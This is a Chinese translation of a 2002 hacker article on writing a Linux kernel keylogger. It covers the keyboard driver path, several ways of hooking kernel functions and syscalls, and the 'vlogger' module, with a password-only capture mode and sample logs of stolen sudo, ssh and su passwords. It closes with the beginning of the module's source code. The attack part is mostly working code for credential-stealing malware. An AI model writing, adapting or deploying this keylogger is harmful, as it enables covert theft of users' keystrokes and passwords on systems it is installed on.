Writing Linux Kernel Keylogger

e4gle

1. 
   
2. |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
   
3. |=-----------------------------------------------------------------------=|
   
4. |=------------------=[ rd <rd@thehackerschoice.com>; ]=-------------------=|
   
5. |=------------------------=[ June 19th, 2002 ]=--------------------------=|
   
6. |=------------------=[ 整理：e4gle <e4gle@whitecell.org>; from whitecell.org]=-------------------=|
   
7. |=------------------------=[ Aug 12th, 2002 ]=--------------------------=|
   
8. 
   
9. 
   
10. --[ Contents
    
11. 
    
12. 1 - 介绍
    
13. 
    
14. 2 - linux的keyboard驱动是如何工作的
    
15. 
    
16. 3 - 基于内核的键盘纪录的原理
    
17.    3.1 - 中断句柄
    
18.    3.2 - 函数劫持
    
19.        3.2.1 - 劫持handle_scancode
    
20.        3.2.2 - 劫持put_queue
    
21.        3.2.3 - 劫持receive_buf
    
22.        3.2.4 - 劫持tty_read
    
23.        3.2.5 - 劫持sys_read/sys_write
    
24. 
    
25. 4 - vlogger
    
26.    4.1 - 工作原理
    
27.    4.2 - 功能及特点
    
28.    4.3 - 如何使用
    
29. 
    
30. 5 - 感谢
    
31. 
    
32. 6 - 参考资料
    
33. 
    
34. 7 - Keylogger源代码
    
35. 
    
36. 
    
37. 
    
38. 
    
39. --[ 1 - 介绍
    
40. 
    
41.       本文分成两个部分。第一部分给出了linux键盘驱动的工作原理，并且讨论了建立一个基于
    
42. 内核的键盘纪录器的方法。这部分内容对那些想写一个基于内核的键盘纪录器，或者写一个
    
43. 自己键盘驱动的朋友会有帮助。
    
44. 
    
45. 第二部分详细描述了vlogger的每个细节，vlogger是一个强大的基于内核的linux键盘纪录器，
    
46. 以及如何来使用它。这向技术可以运用在蜜罐系统中，也可以做成一些很有意思的hacker game，
    
47. 主要用来分析和采集hacker的攻击手法。我们都知道，一些大家熟知的键盘纪录器，如iob,
    
48. uberkey,unixkeylogger等，它们是基于用户层的。这里介绍的是基于内核层的键盘纪录器。
    
49. 最早期的基于内核的键盘纪录器是linspy，它发表在phrack杂志第50期。而现代的kkeylogger(
    
50. 后面我们将用kkeylogger来表示基于内核的键盘纪录器）广泛采用的手法是中断sys_read或者
    
51. sys_write系统调用来对用户的击键进行记录。
    
52. 显然，这种方法是很不稳定的并且会明显的降低系统的速度，因为我们中断的恰恰是系统使用最
    
53. 频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用到。
    
54. 在vlogger里，我用了一个更好的方法，就是劫持tty buffer进程函数，下面会介绍到。
    
55. 
    
56. 我假定读者熟悉linux的可加载模块的原理和运作过程，如果不熟悉，推荐大家首先阅读我以前写
    
57. 过的linux kernel simple hacking,或者linux tty hijack,（在http://e4gle.org有下载），
    
58. 参阅《linux驱动程序设计》来获得相关的理论基础知识。
    
59. 
    
60. 
    
61. --[ 2 - linux键盘驱动的工作原理
    
62. 
    
63. 首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的：
    
64. 
    
65.   _____________            _________             _________         
    
66. /             \ put_queue|         |receive_buf|         |tty_read
    
67. /handle_scancode\-------->;|tty_queue|---------->;|tty_ldisc|------->;
    
68. \               /         |         |           |buffer   |        
    
69. \_____________/          |_________|           |_________|        
    
70. 
    
71.      _________          ____________
    
72.     |         |sys_read|            |
    
73. --->;|/dev/ttyX|------->;|user process|
    
74.     |         |        |            |
    
75.     |_________|        |____________|
    
76. 
    
77. 
    
78.                             Figure 1
    
79. 
    
80. 首先，当你输入一个键盘值的时候，键盘将会发送相应的scancodes给键盘驱动。一个独立的
    
81. 击键可以产生一个六个scancodes的队列。
    
82. 
    
83. 键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的
    
84. 转换表（translation-table）将击键事件和键的释放事件（key release events）转换成连
    
85. 续的keycode。
    
86. 
    
87. 比如，'a'的keycode是30。击键’a'的时候便会产生keycode 30。释放a键的时候会产生
    
88. keycode 158（128+30）。
    
89. 
    
90. 然后，这些keycode通过对keymap的查询被转换成相应key符号。这步是一个相当
    
91. 复杂的过程。
    
92. 
    
93. 以上操作之后，获得的字符被送入raw tty队列--tty_flip_buffer。
    
94. 
    
95. receive_buf()函数周期性的从tty_flip_buffer中获得字符，然后把这些字符送入
    
96. tty read队列。
    
97. 
    
98. 当用户进程需要得到用户的输入的时候，它会在进程的标准输入（stdin）调用read()函数。
    
99. sys_read()函数调用定义在相应的tty设备（如/dev/tty0）的file_operations结构
    
100. 中指向tty_read的read()函数来读取字符并且返回给用户进程。
     
101. 
     
102. /*e4gle add
     
103. file_operations是文件操作结构，定义了文件操作行为的成员，结构如下，很容易理解：
     
104. struct file_operations {
     
105. struct module *owner;
     
106. loff_t (*llseek) (struct file *, loff_t, int);
     
107. ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----这是本文提到的read函数
     
108. ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
     
109. int (*readdir) (struct file *, void *, filldir_t);
     
110. unsigned int (*poll) (struct file *, struct poll_table_struct *);
     
111. int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
     
112. int (*mmap) (struct file *, struct vm_area_struct *);
     
113. int (*open) (struct inode *, struct file *);
     
114. int (*flush) (struct file *);
     
115. int (*release) (struct inode *, struct file *);
     
116. int (*fsync) (struct file *, struct dentry *, int datasync);
     
117. int (*fasync) (int, struct file *, int);
     
118. int (*lock) (struct file *, int, struct file_lock *);
     
119. ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
     
120. ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
     
121. ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
     
122. unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
     
123. };
     
124. 我们直到unix系统中设备也是文件，所以tty设备我们也可以进行文件操作。
     
125. */
     
126. 
     
127.   键盘驱动器可以有如下4种模式：
     
128. - scancode（RAW模式）：应用程序取得输入的scancode。这种模式通常
     
129. 用于应用程序实现自己的键盘驱动器，比如X11程序。
     
130. 
     
131. - keycode（MEDIUMRAW模式）：应用程序取得key的击键和释放行为（通过
     
132. keycode来鉴别这两种行为）信息。
     
133. 
     
134. - ASCII（XLATE模式）：应用程序取得keymap定义的字符，该字符是
     
135. 8位编码的。
     
136. 
     
137. - Unicode（UNICODE模式）：此模式唯一和ASCII模式不同之处就是UNICODE模式
     
138. 允许用户将自己的10进制值编写成UTF8的unicode字符，如十进制的数可以编写成
     
139. Ascii_0到Ascii_9，或者用户16进制的值可以用Hex_0到Hex_9来代表。一个keymap
     
140. 可以产生出一系列UTF8的序列。
     
141. 
     
142. 以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。大家如果需要详细了解scancode,
     
143. keycode和keymaps的相关信息，参看read[3]。
     
144. 
     
145. 
     
146. --[ 3 - 基于内核的键盘纪录器的实现步骤
     
147. 
     
148. 我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.
     
149. 
     
150. 
     
151. ----[ 3.1 - 中断句柄
     
152. 
     
153. 要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下，控制键盘的IRQ值是1。
     
154. 当接受到一个键盘中断时，我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件
     
155. 都是通过0x60端口（键盘数据注册器）和0x64（键盘状态注册器）来实现的。
     
156. 
     
157. /* 以下代码都是intel格式 */
     
158. #define KEYBOARD_IRQ 1
     
159. #define KBD_STATUS_REG 0x64
     
160. #define KBD_CNTL_REG 0x64
     
161. #define KBD_DATA_REG 0x60
     
162. 
     
163. #define kbd_read_input() inb(KBD_DATA_REG)
     
164. #define kbd_read_status() inb(KBD_STATUS_REG)
     
165. #define kbd_write_output(val) outb(val, KBD_DATA_REG)
     
166. #define kbd_write_command(val) outb(val, KBD_CNTL_REG)
     
167. 
     
168. /* 注册我们的IRQ句柄*/
     
169. request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
     
170. 
     
171. 在my_keyboard_irq_handler()函数中定义如下:
     
172. scancode = kbd_read_input();
     
173. key_status = kbd_read_status();
     
174. log_scancode(scancode);
     
175. 
     
176. 这种方法不方便跨平台操作。而且很容易crash系统，所以必须小心操作你的终端句柄。
     
177. 
     
178. 
     
179. ----[ 3.2 - 函数劫持
     
180. 
     
181. 在第一种思路的基础上，我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),
     
182. tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意，我们不能劫持
     
183. tty_insert_flip_char()函数，因为它是一个内联函数。
     
184. 
     
185. 
     
186. ------[ 3.2.1 - handle_scancode函数
     
187. 
     
188. 它是键盘驱动程序中的一个入口函数（有兴趣可以看内核代码keynoard.c）。
     
189. 
     
190. # /usr/src/linux/drives/char/keyboard.c
     
191. void handle_scancode(unsigned char scancode, int down);
     
192. 
     
193. 我们可以这样，通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们
     
194. 在lkm后门中劫持系统调用是一个道理，保存原来的，把新的注册进去，实现我们要的功能，再调用
     
195. 回原来的，就这么简单。就是一个内核函数劫持技术。
     
196. 
     
197. /* below is a code snippet written by Plasmoid */
     
198. static struct semaphore hs_sem, log_sem;
     
199. static int logging=1;
     
200. 
     
201. #define CODESIZE 7
     
202. static char hs_code[CODESIZE];
     
203. static char hs_jump[CODESIZE] =
     
204.        "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
     
205.        "\xff\xe0"                  /*      jmp    *%eax    */
     
206.    ;
     
207. 
     
208. void (*handle_scancode) (unsigned char, int) =
     
209.         (void (*)(unsigned char, int)) HS_ADDRESS;
     
210. 
     
211. void _handle_scancode(unsigned char scancode, int keydown)
     
212. {
     
213.        if (logging && keydown)
     
214.           log_scancode(scancode, LOGFILE);
     
215.    
     
216.        /*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且
     
217.         *再次恢复跳转代码。
     
218.         */
     
219.        down(&hs_sem);
     
220.    
     
221.        memcpy(handle_scancode, hs_code, CODESIZE);
     
222.        handle_scancode(scancode, keydown);
     
223.        memcpy(handle_scancode, hs_jump, CODESIZE);
     
224.    
     
225.        up(&hs_sem);
     
226. }
     
227. 
     
228. HS_ADDRESS这个地址在执行Makefile文件的时候定义：
     
229. HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
     
230. 其实就是handle_scancode在ksyms导出的地址。
     
231. 
     
232. 类似3.1节中提到的方法，这种方法对在X和终端下纪录键盘击键也很有效果，和是否调用
     
233. tty无关。这样你就可以纪录下键盘上的正确的击键行为了（包括一些特殊的key，如ctrl,alt,
     
234. shift,print screen等等）。但是这种方法也是不能跨平台操作，毕竟是靠lkm实现的。同样
     
235. 它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。
     
236. 
     
237. 
     
238. ------[ 3.2.2 - put_queue函数
     
239. 
     
240. handle_scancode()函数会调用put_queue函数，用来将字符放入tty_queue。
     
241. 
     
242. /*e4gle add
     
243. put_queue函数在内核中定义如下：
     
244. 
     
245. void put_queue(int ch)
     
246. {
     
247. wake_up(&keypress_wait);
     
248. if (tty) {
     
249. tty_insert_flip_char(tty, ch, 0);
     
250. con_schedule_flip(tty);
     
251. }
     
252. }
     
253. */
     
254. 
     
255. # /usr/src/linux/drives/char/keyboard.c
     
256. void put_queue(int ch);
     
257. 
     
258. 劫持这个函数，我们可以利用和上面劫持handle_scancode函数同样的方法。
     
259. 
     
260. 
     
261. ------[ 3.2.3 - receive_buf函数
     
262. 
     
263. 底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
     
264. 
     
265. # /usr/src/linux/drivers/char/n_tty.c */
     
266. static void n_tty_receive_buf(struct tty_struct *tty, const
     
267. unsigned char *cp, char *fp, int count)
     
268. 
     
269. 参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。
     
270. 
     
271. 让我们深入的看一看tty结构
     
272. 
     
273. # /usr/include/linux/tty.h
     
274. struct tty_struct {
     
275. intmagic;
     
276. struct tty_driver driver;
     
277. struct tty_ldisc ldisc;
     
278. struct termios *termios, *termios_locked;
     
279. ...
     
280. }
     
281. 
     
282. # /usr/include/linux/tty_ldisc.h
     
283. struct tty_ldisc {
     
284. intmagic;
     
285. char*name;
     
286. ...
     
287. void(*receive_buf)(struct tty_struct *,
     
288. const unsigned char *cp, char *fp, int count);
     
289. int(*receive_room)(struct tty_struct *);
     
290. void(*write_wakeup)(struct tty_struct *);
     
291. };
     
292. 
     
293. 要劫持这个函数，我们可以先保存原始的tty receive_buf()函数，然后重置ldisc.receive_buf到
     
294. 我们的new_receive_buf()函数来记录用户的输入。
     
295. 
     
296. 举个例子：我们要记录在tty0设备上的输入。
     
297. 
     
298. int fd = open("/dev/tty0", O_RDONLY, 0);
     
299. struct file *file = fget(fd);
     
300. struct tty_struct *tty = file->;private_data;
     
301. old_receive_buf = tty->;ldisc.receive_buf;//保存原始的receive_buf()函数
     
302. tty->;ldisc.receive_buf = new_receive_buf;//替换成新的new_receive_buf函数
     
303. 
     
304. //新的new_receive_buf函数
     
305. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
     
306. char *fp, int count)
     
307. {
     
308. logging(tty, cp, count); //纪录用户击键
     
309. 
     
310. /* 调用回原来的receive_buf */
     
311. (*old_receive_buf)(tty, cp, fp, count);
     
312. }
     
313. 
     
314. /*e4gle add
     
315. 其实这里新的new_receive_buf函数只是做了个包裹，技术上实现大同小异，包括劫持系统调用
     
316. 内核函数等，技术上归根都比较简单，难点在于如何找到切入点，即劫持哪个函数可以达到目的，或者
     
317. 效率更高更稳定等，这就需要深入了解这些内核函数的实现功能。
     
318. */
     
319. 
     
320. 
     
321. ------[ 3.2.4 - tty_read函数
     
322. 
     
323. 当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候，tty_read函数就会被调用。
     
324. 
     
325. # /usr/src/linux/drives/char/tty_io.c
     
326. static ssize_t tty_read(struct file * file, char * buf, size_t count,
     
327. loff_t *ppos)
     
328. 
     
329. static struct file_operations tty_fops = {
     
330. llseek:tty_lseek,
     
331. read:tty_read,
     
332. write:tty_write,
     
333. poll:tty_poll,
     
334. ioctl:tty_ioctl,
     
335. open:tty_open,
     
336. release:tty_release,
     
337. fasync:tty_fasync,
     
338. };
     
339. 
     
340. 还是举上面的纪录来自tty0的输入信息的例子:
     
341. 
     
342. int fd = open("/dev/tty0", O_RDONLY, 0);
     
343. struct file *file = fget(fd);
     
344. old_tty_read = file->;f_op->;read;//保存原来的tty_read
     
345. file->;f_op->;read = new_tty_read;//替换新的tty_read函数
     
346. 
     
347. /*e4gle add
     
348. 劫持这个函数的具体实现代码就不多说了，和上面是一样的，我这里写出来给大家参考一下：
     
349. static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
     
350. loff_t *ppos)
     
351. {
     
352. struct tty_struct *tty = file->;private_data;
     
353. logging(tty, buf, count); //纪录用户击键
     
354. 
     
355. /* 调用回原来的tty_read */
     
356. (*old_tty_read)(file, buf, count, ppos);
     
357. }
     
358. */
     
359. 
     
360. 
     
361. ------[ 3.2.5 - sys_read/sys_write函数
     
362. 
     
363. 截获sys_read/sys_write这两个系统调用来实现的技术我不说了，在很早的quack翻译
     
364. 的“linux内核可加载模块编程完全指南”中就提到了这种技术，在我写的“linux kernel hacking”
     
365. 若干教程中也明明白白反反复复提到过，phrack杂志也早在50期的第四篇文章里也介绍到，
     
366. 如果大家不明白请参考以上文献。
     
367. 
     
368. 我提供以下code来实现劫持sys_read和sys_write系统调用:
     
369. 
     
370. extern void *sys_call_table[];
     
371. original_sys_read = sys_call_table[__NR_read];
     
372. sys_call_table[__NR_read] = new_sys_read;
     
373. 当然除了替换sys_call_table表之外还有很多方法，在phrack59中的高级kernel hacking一文
     
374. 中详细针对现有的几种劫持系统调用的方法有演示代码，这里不多做介绍了。
     
375. 
     
376. 
     
377. --[ 4 - vlogger
     
378. 
     
379. 这节介绍一下一个内核键盘纪录器vlogger，是本文的原作者的大作，它是通过3.2.3节中
     
380. 介绍的方法来实现纪录用户击键的，也利用了劫持sys_read/sys_write系统调用来做补充。
     
381. vlogger在如下内核中测试通过：2.4.5,2.4.7,2.4.17,2.4.18。
     
382. 
     
383. 
     
384. ----[ 4.1 - 步骤
     
385. 
     
386. 要记录下本地（纪录终端的信息）和远程会话的键盘击键 ，我选择劫持receive_buf函数的
     
387. 方法（见3.2.3节）。
     
388. 
     
389. 在内核中，tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而，我们
     
390. 同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
     
391. receive_buf()函数。
     
392. 
     
393. // 劫持sys_open调用
     
394. original_sys_open = sys_call_table[__NR_open];
     
395. sys_call_table[__NR_open] = new_sys_open;
     
396. 
     
397. // new_sys_open()
     
398. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
     
399. {
     
400. ...
     
401. //调用original_sys_open
     
402. ret = (*original_sys_open)(filename, flags, mode);
     
403. 
     
404. if (ret >;= 0) {
     
405. struct tty_struct * tty;
     
406. ...
     
407. file = fget(ret);
     
408. tty = file->;private_data;
     
409. if (tty != NULL &&
     
410. ...
     
411. tty->;ldisc.receive_buf != new_receive_buf) {
     
412. ...
     
413. // 保存原来的receive_buf
     
414. old_receive_buf = tty->;ldisc.receive_buf;
     
415. ...
     
416. 
     
417.        /*
     
418.         * 开始劫持该tty的receive_buf函数
     
419.         * tty->;ldisc.receive_buf = new_receive_buf;
     
420.         */
     
421. init_tty(tty, TTY_INDEX(tty));
     
422. }
     
423. ...
     
424. }
     
425. 
     
426. // 我们的新的receive_buf()函数
     
427. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
     
428. char *fp, int count)
     
429. {
     
430. if (!tty->;real_raw && !tty->;raw)// 忽略 raw模式
     
431. // 调用我们的logging函数来记录用户击键
     
432. vlogger_process(tty, cp, count);
     
433. // 调用回原来的receive_buf
     
434. (*old_receive_buf)(tty, cp, fp, count);
     
435. }
     
436. 
     
437. 
     
438. ----[ 4.2 - 功能及特点
     
439. 
     
440.   - 可以记录本地和远程会话的所有击键（通过tty和pts）
     
441. 
     
442.   - 按每个tty/会话分开纪录。每个tty都有他们自己的纪录缓冲区。
     
443. 
     
444.   - 几乎支持所有的特殊键如方向键（left,riht,up,down),F1到F12,Shift+F1到Shift+F12,
     
445.     Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等
     
446. 
     
447.   - 支持一些行编辑键包括ctrl-U和BackSpace键等。
     
448. 
     
449.   - 时区支持
     
450. 
     
451.   - 多种日志模式
     
452. 
     
453. o dumb模式: 纪录所有的击键行为
     
454. 
     
455. o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的"Passive Analysis
     
456. of SSH (Secure Shell) Traffic"文章中的一个小技术来实现的。当应用程序返回的
     
457. 输入回显关闭的时候（就是echo -off)，就认为那是用户在输入密码，我们过滤下来
     
458. 就是了：）
     
459. 
     
460. o normal模式: 禁止纪录
     
461. 
     
462. 用户可以通过利用MAGIC_PASS宏和VK_TOGLE_CHAR宏（MAGIC_PASS这个宏定义了切换密
     
463. 码，VK_TOGLE_CHAR定义了一个keycode来做为切换热键）来切换日志模式。
     
464. 
     
465. #define VK_TOGLE_CHAR29// CTRL-]
     
466. #define MAGIC_PASS"31337"//要切换日志模式,输入MAGIC_PASS，然后敲击VK_TOGLE_CHAR键
     
467. 
     
468. ----[ 4.3 - 如何使用
     
469. 
     
470. 以下是一些可改变的选项
     
471. 
     
472. // 日志存放路径的宏
     
473. #define LOG_DIR "/tmp/log"
     
474. 
     
475. // 本地的时区
     
476. #define TIMEZONE7*60*60// GMT+7
     
477. 
     
478. // 切换日志模式的密码的宏
     
479. #define MAGIC_PASS"31337"
     
480. 
     
481. 以下列出了纪录后的日志目录结构:
     
482. 
     
483. [e4gle@redhat72 log]# ls -l
     
484. total 60
     
485. -rw-------    1 root     root          633 Jun 19 20:59 pass.log
     
486. -rw-------    1 root     root        37593 Jun 19 18:51 pts11
     
487. -rw-------    1 root     root           56 Jun 19 19:00 pts20
     
488. -rw-------    1 root     root          746 Jun 19 20:06 pts26
     
489. -rw-------    1 root     root          116 Jun 19 19:57 pts29
     
490. -rw-------    1 root     root         3219 Jun 19 21:30 tty1
     
491. -rw-------    1 root     root        18028 Jun 19 20:54 tty2
     
492. 
     
493. ---在dumb模式中
     
494. [e4gle@redhat72 log]# head tty2//本地会话
     
495. <19/06/2002-20:53:47 uid=501 bash>; pwd
     
496. <19/06/2002-20:53:51 uid=501 bash>; uname -a
     
497. <19/06/2002-20:53:53 uid=501 bash>; lsmod
     
498. <19/06/2002-20:53:56 uid=501 bash>; pwd
     
499. <19/06/2002-20:54:05 uid=501 bash>; cd /var/log
     
500. <19/06/2002-20:54:13 uid=501 bash>; tail messages
     
501. <19/06/2002-20:54:21 uid=501 bash>; cd ~
     
502. <19/06/2002-20:54:22 uid=501 bash>; ls
     
503. <19/06/2002-20:54:29 uid=501 bash>; tty
     
504. <19/06/2002-20:54:29 uid=501 bash>; [UP]
     
505. 
     
506. [e4gle@redhat72 log]# tail pts11// 远程会话
     
507. <19/06/2002-18:48:27 uid=0 bash>; cd new
     
508. <19/06/2002-18:48:28 uid=0 bash>; cp -p ~/code .
     
509. <19/06/2002-18:48:21 uid=0 bash>; lsmod
     
510. <19/06/2002-18:48:27 uid=0 bash>; cd /va[TAB][^H][^H]tmp/log/
     
511. <19/06/2002-18:48:28 uid=0 bash>; ls -l
     
512. <19/06/2002-18:48:30 uid=0 bash>; tail pts11
     
513. <19/06/2002-18:48:38 uid=0 bash>; [UP] | more
     
514. <19/06/2002-18:50:44 uid=0 bash>; vi vlogertxt
     
515. <19/06/2002-18:50:48 uid=0 vi>; :q
     
516. <19/06/2002-18:51:14 uid=0 bash>; rmmod vlogger
     
517. 
     
518. ---在smart模式中
     
519. [e4gle@redhat72 log]# cat pass.log
     
520. [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
     
521. USER/CMD sudo traceroute yahoo.com
     
522. PASS 5hgt6d
     
523. PASS
     
524. 
     
525. [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
     
526. USER/CMD ssh guest@host.com
     
527. PASS guest
     
528. 
     
529. [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
     
530. USER/CMD open ftp.ilog.fr
     
531. USER Anonymous
     
532. PASS heh@heh
     
533. 
     
534. [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
     
535. USER/CMD su -
     
536. PASS asdf1234
     
537. 
     
538. 
     
539. --[ 5 - 感谢
     
540. 
     
541. 感谢plasmoid, skyper的大力帮助，感谢THC，vnsecurity等组织的所有朋友们。
     
542. 最后，感谢thang先生的英文翻译。
     
543. 
     
544. //e4gle add
     
545. 到此，全文介绍完了，大家有兴趣可以试试代码，其实这里涉及的技术无非还是系统调用和内核函数
     
546. 的劫持技术，我整理过的一篇tty劫持的文章，大家也可以对比一下。其实vlogger也有一定的缺陷，
     
547. 它还是通过sys_call_table的方法来劫持系统调用open的，那很容易被kstat等工具发现，关于更
     
548. 隐藏的劫持技术在phrack59的advance kernel hacking一文里有5个例子详细介绍了更多的办法，
     
549. 大家可以参考这些文献。
     
550. 
     
551. 
     
552. --[ 6 - 参考资料
     
553. 
     
554. [1] Linux Kernel Module Programming
     
555.     http://www.tldp.org/LDP/lkmpg/
     
556. [2] Complete Linux Loadable Kernel Modules - Pragmatic
     
557.     http://www.thehackerschoice.com/papers/LKM_HACKING.html
     
558. [3] The Linux keyboard driver - Andries Brouwer
     
559.     http://www.linuxjournal.com/lj-issues/issue14/1080.html
     
560. [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
     
561.     http://www.phrack.com/phrack/50/P50-05
     
562. [5] Kernel function hijacking - Silvio Cesare
     
563.     http://www.big.net.au/~silvio/kernel-hijack.txt
     
564. [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
     
565.     http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
     
566. [7] Kernel Based Keylogger - Mercenary
     
567.     http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
     
568. 
     
569. --[ 7 - Keylogger的源代码
     
570. 
     
571. <++>; vlogger/Makefile
     
572. #
     
573. #  vlogger 1.0 by rd
     
574. #
     
575. #  LOCAL_ONLYlogging local session only. Doesn't intercept
     
576. #sys_open system call
     
577. #  DEBUGEnable debug. Turn on this options will slow
     
578. #down your system
     
579. #
     
580. 
     
581. KERNELDIR =/usr/src/linux
     
582. include $(KERNELDIR)/.config
     
583. MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
     
584. 
     
585. MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
     
586. CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
     
587. -Wstrict-prototypes -fomit-frame-pointer -pipe \
     
588. -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
     
589. -malign-functions=2
     
590. 
     
591. all : vlogger.o
     
592. 
     
593. vlogger.o: vlogger.c
     
594. $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
     
595. 
     
596. clean:
     
597. rm -f *.o
     
598. <-->;
     
599. <++>; vlogger/vlogger.c
     
600. /*
     
601. *  vlogger 1.0
     
602. *
     
603. *  Copyright (C) 2002 rd <rd@vnsecurity.net>;
     
604. *
     
605. *  Please check http://www.thehackerschoice.com/ for update
     
606. *
     
607. *  This program is free software; you can redistribute it and/or modify
     
608. *  it under the terms of the GNU General Public License as published by
     
609. *  the Free Software Foundation; either version 2 of the License, or
     
610. *  (at your option) any later version
     
611. *
     
612. *  This program is distributed in the hope that it will be useful, but
     
613. *  WITHOUT ANY WARRANTY; without even the implied warranty of
     
614. *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
     
615. *  General Public License for more details.
     
616. *
     
617. *  Greets to THC & vnsecurity
     
618. *
     
619. */
     
620. 
     
621. #define __KERNEL_SYSCALLS__
     
622. #include <linux/version.h>;
     
623. #include <linux/module.h>;
     
624. #include <linux/kernel.h>;
     
625. #include <linux/smp_lock.h>;
     
626. #include <linux/sched.h>;
     
627. #include <linux/unistd.h>;
     
628. #include <linux/string.h>;
     
629. #include <linux/file.h>;
     
630. #include <asm/uaccess.h>;
     
631. #include <linux/proc_fs.h>;
     
632. #include <asm/errno.h>;
     
633. #include <asm/io.h>;
     
634. 
     
635. #ifndef KERNEL_VERSION
     
636. #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
     
637. #endif
     
638. 
     
639. #if LINUX_VERSION_CODE >;= KERNEL_VERSION(2,4,9)
     
640. MODULE_LICENSE("GPL");
     
641. MODULE_AUTHOR("rd@vnsecurity.net");
     
642. #endif
     
643. 
     
644. #define MODULE_NAME "vlogger "
     
645. #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
     
646. 
     
647. #ifdef DEBUG
     
648. #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
     
649. #else
     
650. #define DPRINT(format, args...)
     
651. #endif
     
652. 
     
653. #define N_TTY_NAME "tty"
     
654. #define N_PTS_NAME "pts"
     
655. #define MAX_TTY_CON 8
     
656. #define MAX_PTS_CON 256
     
657. #define LOG_DIR "/tmp/log"
     
658. #define PASS_LOG LOG_DIR "/pass.log"
     
659. 
     
660. #define TIMEZONE 7*60*60// GMT+7
     
661. 
     
662. #define ESC_CHAR 27
     
663. #define BACK_SPACE_CHAR1 127// local
     
664. #define BACK_SPACE_CHAR2 8// remote
     
665. 
     
666. #define VK_TOGLE_CHAR 29// CTRL-]
     
667. #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
     
668. // VK_TOGLE_CHAR
     
669. 
     
670. #defineVK_NORMAL 0
     
671. #defineVK_DUMBMODE 1
     
672. #defineVK_SMARTMODE 2
     
673. #define DEFAULT_MODE VK_DUMBMODE
     
674. 
     
675. #define MAX_BUFFER 256
     
676. #define MAX_SPECIAL_CHAR_SZ 12
     
677. 
     
678. #define TTY_NUMBER(tty) MINOR((tty)->;device) - (tty)->;driver.minor_start \
     
679. + (tty)->;driver.name_base
     
680. #define TTY_INDEX(tty) tty->;driver.type == \
     
681. TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
     
682. TTY_NUMBER(tty):TTY_NUMBER(tty)
     
683. #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
     
684. #define TTY_WRITE(tty, buf, count) (*tty->;driver.write)(tty, 0, \
     
685. buf, count)
     
686. 
     
687. #define TTY_NAME(tty) (tty->;driver.type == \
     
688. TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
     
689. tty->;driver.type == TTY_DRIVER_TYPE_PTY && \
     
690. tty->;driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
     
691. 
     
692. #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
     
693. #define END_KMEM set_fs(old_fs); }
     
694. 
     
695. extern void *sys_call_table[];
     
696. int errno;
     
697. 
     
698. struct tlogger {
     
699. struct tty_struct *tty;
     
700. char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
     
701. int lastpos;
     
702. int status;
     
703. int pass;
     
704. };
     
705. 
     
706. struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
     
707. void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
     
708. char *, int);
     
709. asmlinkage int (*original_sys_open)(const char *, int, int);
     
710. 
     
711. int vlogger_mode = DEFAULT_MODE;
     
712. 
     
713. /* Prototypes */
     
714. static inline void init_tty(struct tty_struct *, int);
